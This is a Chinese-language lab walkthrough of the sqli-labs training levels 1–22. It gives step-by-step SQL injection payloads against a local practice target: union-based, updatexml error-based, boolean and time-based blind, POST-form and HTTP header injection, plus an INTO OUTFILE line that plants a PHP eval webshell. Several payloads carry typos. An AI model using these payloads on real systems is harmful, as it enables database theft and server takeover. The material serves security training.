第1-4关
1.首先如何判断?id=1这个传参是否被拼接到sql语句中,并且被当作sql代码执行呢?接下来展示操作步骤:
首先:192.168.1.6:91/Less-1/?id=1 and 1=2
然后: 192.168.1.6:91/Less-1/?id=1 and 1=1
最后发现并没有什么变化,难道是因为我们出错了吗?答案显然不是这样的
我们可以尝试给它做一个闭合,例如这样:
192.168.1.6:91/Less-1/?id=1 ’and 1=1 – qwe
这时候我们发现1=1是没有任何问题的,接下来我们尝试一下1=2
192.168.1.6:91/Less-1/?id=1 ’and 1=2 – qwe
发现1=2异常, 只是因为它把and 1=1 和and 1=2 当成代码型,所以这个地方是有可能出现sql注入的
2.然后我们应该找一下它的字段数,看操作:
192.168.1.6:91/Less-1/?id=1 ’order by 1 – qwe(正常)
192.168.1.6:91/Less-1/?id=1 ’order by 2 – qwe(正常)
192.168.1.6:91/Less-1/?id=1 ’order by 3 – qwe(正常)
192.168.1.6:91/Less-1/?id=1 ’order by 4 – qwe(异常)
由此可得:字段数为3.
3.接下来就应该判断显错位,用到联合查询 union select (字段数)
192.168.1.6:91/Less-1/?id=1 ’union select 1,2,3 – qwe
到这时我们发现显错位没有变化,到底是什么原因呢?因为前面id=1可以查询到结果所以优先查询前面的,只要我们将id=1改成id =10就可以了。例如:
192.168.1.6:91/Less-1/?id=10 ’union select 1,2,3 – qwe
咱们还可以换一下:
192.168.1.6:91/Less-1/?id=10 ’union select 1,database(),3 – qwe
这是我们就会发现原本为2的位置出现了一个库名:security
3. 得出库名之后如何得出表名呢?这时候就应该用到我们的table_ name from
192.168.1.6:91/Less-1/?id=10 ’union select 1,table_ name,3 from information_schema.tables where table_schema=‘security’ – qwe
这是我们查出我们的表名为emails.结果如下:
接下来我们还可以试一下
192.168.1.6:91/Less-1/?id=10 ’union select 1,table_ name,3 from information_schema.tables where table_schema=‘security’ limit 1,1 – qwe
注意:192.168.1.6:91/Less-1/?id=10 ’union select 1,group concat (table_ name),3 from information_schema.tables where table_schema=‘security’ limit 1,1 – qwe
这个语句也是可以的,只不过group concat是用来展示多个函数数据类型的,如果源码中显错位不够的会有显示不全的情况,在此小编不建议用,一个一个查询虽然麻烦但是出错的概率会小很多。
- 然后我们来学习如何判断列名,操作如下:
?id=10’union select 1,colum_name,3 from information_schema.tables where table_schema='security’and table_name=‘emails’ – qwe
注:其中的emails可以换成其它表名如:users
示例如下:
因为第2.3.4关所涉及的内容和第一关一模一样,所以就用第一关来演示了,唯一不一样的就是闭合方式不同,想要了解更多闭合方式就需要去自己学习了,小编就在这里不多介绍了。
第5-7关
1.首先还是老办法先设计一个传参id=1.然后就是id=1 and 1=1 之后就是闭合注释。操作如下:
127.0.0.1:91/Less-5/?id=1 'and 1=1 – qwe
2.然后判断字段数,老办法:order by
127.0.0.1:91/Less-5/?id=1 'order by 1 – qwe(正常)
127.0.0.1:91/Less-5/?id=1 'order by 2 – qwe(正常)
127.0.0.1:91/Less-5/?id=1 'order by 3 – qwe(正常)
127.0.0.1:91/Less-5/?id=1 'order by 4 – qwe(异常)
由此判断这个地方存在于三个字段。
3.然后按正常顺序就应该进行union select 1,2,3 结果并没有任何变化,接下来就要用到一个全新的知识。(updatexml 报错注入)
updatexml()更新xml文档的函数
语法:updatexml(目标xml内容, xml文档路径,更新的内容)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则报错了,但是报错的时候它报错的时候其实已经执行了那个子查询代码!
【0x7e实际就是16进制,Mysql支持16进制,但是开头写0x 0x7e 是一个特殊符号,然后不符合规则报错~~】
判断库名:?id=1 'and updatexml(1,concat(0x7e,(SELECT datebase()),0x7e),1) --qwe
- 然后判断表名:?id=1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security’limit 0,1),0x7e),1) --qwe
- 判断列表名:?id=1 'and updatexml (1,concat(0x7e,(select column_name from infoemation_schema.columns where table_schema=‘security’ and table_name='emails’limit0,1),0x7e),1) – qwe
- 判断数据:?id=1 'and updatexml (1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) --qwe
同样的第六关的做题步骤和第五关一模一样,唯独不一样的地方就是闭合方式不同感兴趣的同学可以自己尝试一下
第七关:再利用sql 注入漏洞后期,最常用的就是通过mysql的file 系列函数进行读取敏感文件或者写入webshell, 其中比较常见的函数有以下三个:
into dumpfile()
into outfile()
load_file()
union select 1,'<?php eval(S_REQUEST[8]?>'into outfile 'C:\phpstudy_pro\WWW\sql-labs\Less-7\shell.php" – qwe)
第8-14关
1.首先还是老办法先设计一个传参id=1.然后就是id=1 and 1=1 之后就是闭合注释。操作如下:
127.0.0.1.91/Less-8/?id=1 'and 1=1 – qwe
2. 老办法,当我们试出and1=1和and 1=2之间存在sql注入,这是我们就需要用order by判断字段数
127.0.0.1.91/Less-8/?id=1 'order by 1 – qwe(正常)
127.0.0.1.91/Less-8/?id=1 'order by 2 – qwe(正常)
127.0.0.1.91/Less-8/?id=1 'order by 3 – qwe(正常)
127.0.0.1.91/Less-8/?id=1 'order by 4 – qwe(异常)
说明存在三个字段。
3. 按正常操作顺序应该是union select1,2,3,结果显示无显错位这时我们就要学习另一种方法去完成,它就是布尔盲注这里简单的介绍一下盲注。
布尔盲注
length()函数返回字符串长度
substr()截取字符串 (语法:SUBSTR(str, pos, len);)
ascii() 返回字符的ASCII码
时间盲注
sleep()将程序挂起一段时间n为秒
if(expr1,expr2,expr3)判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句
首先猜解库名长度
?id=1 'and (length(database()))=8 --qwe
利用ASCII码猜解当前数据库的名称:
?id=1 'and (ascii(substr(database(),1,1)))==115 – qwe 返回正常,说明数据库名称第一位是s
?id=1 'and (ascii(substr(database(),2,1)))==101 – qwe 返回正常,说明数据库名称第二位是e
猜表名:
?id=1 'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1,),1,1)))=101 --qwe 如果返回正常,说明数据库的表名的第一个的第一位是e
猜字段:
and (ascii(substr((select column_name from information_schema.columns where table_name='emails’limit 0,1),1,1)))=105 – qwe 如果返回正常,说明emails表中的列名称第一位是i
第九关:
同样按照盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不呢个再用刚刚的布尔盲注的做法了,要尝试使用时间盲注。
猜解库名长度:
?id=1 'and if (length(database())=8,sleep(5),1) --qwe
利用ASCAII码解当前数据库的名称:
?id=1 'and if ((ascii(substr(database(),1,1))=115),sleep(5),1) --qwe 延时,说明数据库第一位是s
猜表名:
?id=1 'and if ((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) – qwe 延时,说明数据库的第一个的第一位是e
猜字段名:
?id=1 'and if ((ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1) – qwe 如果正常返回,说明emails表中的列名程第一位是i。
注意:兄弟们,我又来了,第十关和第九关是一样滴,只是闭合方式不同这里就不多介绍了。
第十一关:
看到是一关,首先我们能发现,他的传参方式和以往是不同的,这次变成了Post传参,但它们的注入方式是差不多的。
尝试万能密码: 'or 1=1 – qwe
判断字段数: 'or 1=1 order by 2 – qwe
判断显错位: 'union select 1,2 – qwe
判断库名: ’ union select 1,database() – qwe
判断表名: 'union select 1,table_name from information_schema.table where table_schema=‘security’ – qwe
判断列名:'union select 1,column_name from information_schema,columns where table_schema =‘security’ and table_name=‘emails’ – qwe
判断数据:'union select 1,id from emails – qwe
兄弟们,第十二关,第十三关,第十四关和第十一关的操作方法相同只不过是闭合方式不同,这里就不做过多演示了
第15-17关
进入第十五关,我们发现跟前面的靶场没什么区别,按照以往的思路,尝试一下报错的手段发现它并没有输出我们的报错语句,看看我们的源码,发现这里确实没有输出,于是我们可以尝试利用盲注的手段。
猜库名的长度:
'or (length(database()))=8 – qwe
利用ASCLL码猜解当前数据库的名称:
'or (ascii(substr(database(),1,1)))=115-- qwe返回正常,说明数据库名称第一位是s
'or (ascii(substr(database(),2,1)))=101-- qwe返回正常,说明数据库名称第一位是e
猜表名:
'or (ascii(substr((select table_name from information_schema.tables where table_schema=datsbse()limit 0,1),1,1)))=101 – 如果返回正常,说明数据库的第一个的第一位是e
猜字段名:
'or (ascii(substr((select colum_name from information_schema.colums where table_name=‘emails’ limit 0,1),1,1)))=105-- qwe 如果emails表中的列名第一位是i
第十七关:
判断是否存在注入:'or 1=1 – qwe
判断库名:'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) – qwe
判断表名:'and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_scchema='security’limit 0,1),0x7e),1) – qwe
判断数据:'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) – qwe
第18-22关
第十八关:
请求头:
uer-Agent:浏览器的身份标识字符串
Referer:表示浏览器所访问的前一个页面,可以认为是之前访问页面的链接将浏览器带到了当前页面。
Accept:可以接受响应内容类型(Content-Types).
X-Forward-For:可以用来表示HTTP请求端真实ip
Date:发送该消息的日期和时间(以RFC 7231中定义的’‘HTTP日期’'格式来发送)
判断库名:'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) – qwe
判断表名:'and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_scchema='security’limit 0,1),0x7e),1) – qwe
判断数据:'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) – qwe
第二十关,第二十一关,第二十二关和第十八关相同